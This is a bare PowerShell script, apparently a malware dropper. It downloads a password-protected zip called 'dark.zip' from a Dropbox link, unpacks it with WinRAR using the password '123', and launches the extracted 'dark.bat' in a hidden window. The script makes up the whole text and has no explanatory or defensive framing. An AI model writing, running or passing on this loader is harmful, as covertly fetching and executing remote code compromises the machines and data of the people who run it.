$url = "https://www.dropbox.com/scl/fi/jqn2ljp5i8bzub1kcs9e8/dark.zip?rlkey=tc89urzvpbcz29s5yesza4wcy&st=8j3fht11&dl=1" $filename = "dark.zip" $password = "123" $output_file = "dark.bat" $winrarPath = "C:\Program Files\WinRAR\WinRAR.exe" $maxTries = 3 $tryCount = 0 while ($tryCount -lt $maxTries -and !(Test-Path $filename)) { Invoke-WebRequest -Uri $url -OutFile $filename Start-Sleep -Seconds 1 $tryCount++ } if (Test-Path $filename -and Test-Path $winrarPath) { $tryCount = 0 while ($tryCount -lt $maxTries -and !(Test-Path $output_file)) { & $winrarPath x -p$password $filename > $null 2>&1 Start-Sleep -Seconds 1 $tryCount++ } if (Test-Path $output_file) { Start-Process -FilePath $output_file -WindowStyle Hidden } } exit